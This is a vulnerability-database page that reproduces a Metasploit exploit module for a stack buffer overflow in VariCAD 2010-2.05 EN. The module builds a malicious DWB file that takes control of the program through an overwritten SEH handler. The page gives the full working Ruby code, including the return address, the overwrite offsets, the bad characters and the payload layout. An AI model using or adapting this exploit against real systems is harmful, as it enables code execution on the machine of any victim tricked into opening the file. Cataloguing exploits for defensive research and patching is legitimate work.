Lucene search
K

VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow

🗓️ 18 Mar 2010 23:47:52Reported by n00b, dookie, MC <[email protected]>, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 17 Views

This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN. An attacker must send the file to victim and the victim must open the file.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
        An attacker must send the file to victim and the victim must open the file.
      },
      'License'        => MSF_LICENSE,
      'Author' 	     =>
        [
          'n00b',    # first public exploit
          'dookie',  # metasploit first pass
          'MC',      # cleanup pass 1 & second offset
          'jduck'    # cleanup pass 2 & combined offsets
        ],
      'References'     =>
        [
          [ 'OSVDB', '63067' ],
          [ 'BID', '38815' ],
          [ 'EDB', '11789' ]
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x0a\x3d",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2010-03-17',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.dwb']),
      ])
  end

  def exploit

    header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
    sploit = rand_text_alpha_upper(1000) * 50

    # Add SEH frames..
    seh = generate_seh_record(target.ret)
    offsets = [ 26252, 22856 ]
    sploit[0,payload.encoded.length] = payload.encoded
    offsets.each { |off|
      sploit[off,seh.length] = seh
      distance = seh.length + off
      jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
      sploit[off+seh.length,jmp.length] = jmp
    }

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(header + sploit)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation